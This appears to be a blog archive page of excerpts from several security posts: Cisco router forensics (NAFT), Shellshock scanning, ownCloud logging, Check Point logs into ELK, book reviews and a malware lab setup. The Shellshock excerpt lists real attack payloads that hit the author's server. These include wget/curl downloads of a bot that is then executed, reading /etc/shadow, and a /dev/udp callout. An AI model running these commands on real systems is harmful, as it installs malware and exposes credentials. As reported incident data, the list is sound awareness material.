When my friend Didier Stevens contacted me last year to help him with a BruCON 5×5 project, I simply could not decline! Didier developed a framework to perform forensic investigations on Cisco routers. His framework is called NAFT (“Network Appliance Forensic Toolkit”). It is written in Python and provides a good toolbox to extract juicy information from routers memory. From a development point of view, the framework was ready but Didier has the great idea to prepare a workshop to train student to analyze router memory images. The 5×5 project was accepted and thanks to the support of BruCON, it was possible to buy a bunch of Cisco routers to let students play with them. Why hardware routers and not simply a virtual lab (after all we are living in the virtualisation era)? For two main reasons: To avoid licensing issues and a virtual lab does not offer the ROMMON feature which is very useful to take a memory image of the router. The very first workshop was given last week during BruCON as a first premiere. With a fully booked room of people (40), it was a success and we already got good feedbacks. But not all people are able to attend security conferences and workshops, that’s why Didier had the idea to implement an online lab where registered people could perform the same investigations as in the live workshop. That’s where I was involved in the project!
In April 2014, the Internet shivered when we faced the “heartbleed” bug in the OpenSSL library. It makes lot of noise across the security community and was even covered by regular media. Such issue could never happen again, right?
Never say never! Last week, a new storm in the Internet with “shellsock” or best known as CVE-2014-6271! This new bug affects the bash UNIX shell. The difference with heartbleed? When you compare them, heartbleed looses definitively its pole position on the top threats. It is very easy to exploit, it affects MANY applications or services that spawn other processes using call like system() on PHP or the well-know mod_cgi provided by Apache. Not only public websites can be affected by also some critical services like:
- the ForceCommand feature in sshd
- scripts executed by unspecified DHCP clients,
- network access control serices
So, any service in which the environment is defined via a bash shell execution. If you need more info about this new threat, google for it!
Some security researchers and bloggers immediately started to scan the Internet to have a better idea of the impact of this vulnerability on public services. Of course, bad guy also started to do the same and my server was hit several times (94). Until today, I detected the following IP addresses:
126.96.36.199 188.8.131.52 184.108.40.206 220.127.116.11 18.104.22.168 22.214.171.124 126.96.36.199 188.8.131.52 2001:4800:7812:514:1b50:2e05:ff04:c849:52116 184.108.40.206 220.127.116.11 18.104.22.168 22.214.171.124 126.96.36.199 188.8.131.52 184.108.40.206 220.127.116.11 18.104.22.168 22.214.171.124
Here is a list of commands/scripts tested:
/bin/ping -c 1 126.96.36.199 /bin/bash -c "echo testing9123123"; /bin/uname -a /sbin/ifconfig /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh" echo -e "Content-Type: text/plain\\n"; echo qQQQQQq /bin/cat /etc/shadow echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444 /bin/bash -c "/usr/bin/wget http://singlesaints.com/firefile/temp?h=rootshell.be -O /tmp/a.pl" /bin/bash -c "wget -q -O /dev/null http://ad.dipad.biz/test/http://leakedin.com/" /bin/bash -c "wget -U BashNslash.http://www.leakedin.com/tag/urls-list/page/97/ 188.8.131.52" wget 'http://taxiairportpop.com/s.php?s=http://brucon.org/'
Personally, I like the one which tries to use the built-in support of sockets via psuedo files like “/dev/[tcp|udp]/<host>/<port>“. This is a nice feature of bash but it is disabled on most distribution (for security reason presicely).
No breaking news, nothing fancy in this quick blog post but it is worth to remember that security appliances can be a potential threat when deployed on your network. For years, security appliances are the “in” thing. On the paper, they are sexy: you just plug a power cable, a network cable, 4 screws if you install them in a 19″ rach (under a table isn’t the best place) and you are ready to play with them. At first boot time, some wizards guide you to perform the basic configuration. They require zero administration tasks, vendors have juicy RMA contracts, … What else?
For a while I left Dropbox and other cloud storage solutions and decided to host my own file exchange service based on owncloud.org. I’m using it to exchange files with my partners and customers and keep a full control of the service from A to Z. A major advantage of ownCloud is its modular architecture which allows third party applications to be installed to extend its features. When I started to work with ownCloud, I wrote a first small application which adds a way to check the uploaded files against VirusTotal.
From my humble opinion, there is a point where ownCloud is lacking of good features: The way it manages events. By default, it is possible to send events to a remote Syslog server or in a flat file but the format of the generated events is really ugly. External application were developed to log events into a MySQL database but here again it was not enough convenient for me. Next to ownCloud, I’m also using ELK to manage my log files. It was clear that both solutions must be integrated and I wrote a small application which writes event directly into Elasticsearch. The idea and framework is based on SuperLog wrote by Bastien Ho.
A few weeks ago, I reviewed Georgia’s book about penetration testing. In the same topic (pentesting), I was asked to review another one which focus on shell scripting using the bash shell. Keith Makan is the author of “Penetration Testing with the Bash Shell“. Bash is the default shell on many UNIX distributions and is also the primary interface between the operating system and the user when no graphical interface is available. Why talk about a shell in the scope of a penetration test? Simply because good pentesters write code! It’s almost impossible to complete a penetration test without write some lines of code. Because we need to gain time, we need more visibility and we need to parse thousands of lines or files. Usually, the UNIX shell is the first tool that we have to achieve such tasks. That’s the goal of the book. Throughout the chapters, Keith demonstrates how to take advantage of the many bash features to make your life easier.
It has been a while that I did not write an article on log management. Here is a quick how-to about the integration of Check Point firewall logs into ELK. For a while, this log management framework is gaining more and more popularity. ELK is based on three core components: ElasticSearch, Logstash and Kibana. Google is your best friend to find information about ELK. But why Check Point? Usually, I don’t blog about commercial products but I investigated a request from a customer who was looking for a clean solution to integrate this product logs into ELK and I didn’t find my heart’s desire on the Internet
Check Point firewalls are good products amongst others but what I really like is the way they handle logs. By default, logs generated by the firewall modules are sent to the management system (the “SmartCenter“) where they can be reviewed using a powerful fat client but… running only on top of Microsoft Windows systems. To export the logs to an external log management solution, Check Point has developed the OPSEC framework which allows third party applications to interact with firewalls. One of the feature is to get a copy of logs using the LEA protocol. LEA means “Log Export API” and provides the ability to pull logs from a Check Point device via the port TCP/18184. What about Syslog could you ask? It is simply not possible in an out-of-the-box way! To forward logs to a remote Syslog server, you can use the “fwm” command:
# fw log -f -t -n -l 2>/dev/null | awk 'NF' | sed '/^$/d' | logger -p local4.info -t cpwd &
An alternative way is to create a “User Defined Alert” which will call a script for every(!) line of log. In such situations, how to be sure that our firewall will be able to handle a big amount of logs?
Aaaaah… Passwords! Why write a blog article about them. Everything has alreay been said about passwords. Everybody hates them because they are hard to remember, because we should change it regularly, because we have way too much of them. They are often present in security awareness campaign (see the article introduction picture). And despite this, people are still managing their passwords no matter how! I won’t repeat the same blah-blah about how to take care of your passwords, how to generate them, stop! Here is just another proof that human behavior won’t change.
A few weeks ago I bought Georgia Weidman’s book about penetration testing: “A Hands-On Introduction to Hacking“. Being overloaded by many projects, I finally finished reading it and it’s now time to write a quick review. Georgia is an awesome person. There are not many recognized women in the information security landscape and Georgia is definitively one of them, I already met her a few times during security conferences! She started her own company, she’s a great speaker and the author of the SPF (“Smartphone Pentesting Framework“). That’s why I did not hesitate to buy her book.
The book title contains the word “Introduction” and, as explains Georgia in her introduction, this is the kind of book that you dream of when jumping into the penetration testing business. It covers indeed many topics but don’t be fooled by the title, it contains many tips and examples that could be useful also to experienced pentesters. Why? Sometimes people ask me how to “work in security” and I always compare information security to medicine. You have many specializations. It’s even more true for a pentester: web applications, reverse engineering, wireless, mobile devices, etc… It’s practically impossible to have a strong knowledge in all those ever-changing topics! That’s why Georgia’s book is a good reference. This is a technical book which focus on practical examples.
Following the presentation that I made at the RMLL 2014 last week, I slightly changed my malware analysis setup. The goal is to make it fully operational “offline“. Indeed, today we are always “on“, Internet is everywhere and it’s easy to get a pipe. However, sometimes it’s better to not send packets to the wild Internet, even more when playing with malwares. We can be connected to a network with restricted access and some “exotic” ports won’t be authorized (ex: IRC). By allowing malicious code to connect to the world, we could trigger some firewalls, IDS or IPS if working in a corporate environment. If the malware is targeting a specific company or country, it can be suspicious to flood the C&C or any other resource with suspicious traffic (in this case, we are suspicious for the attacker). In short, “to live happy, live hidden”
I’m just back from Montpellier where was organised the 2014’s edition of the RMLL (“Rencontres Modiales des Logiciels Libres”) or LSM in English (“Libre Software Meeting”). This is a huge event similar to the FOSDEM in Brussels where people who love free software exchange views, researches and make some networking. The event location changes every year and this edition was organised in the south of France… not a bad place! The event is huge and is organized across a whole week, attracting a few hundreds of people. Within the main event, other small events are organised and talks are divided in multiple topics like: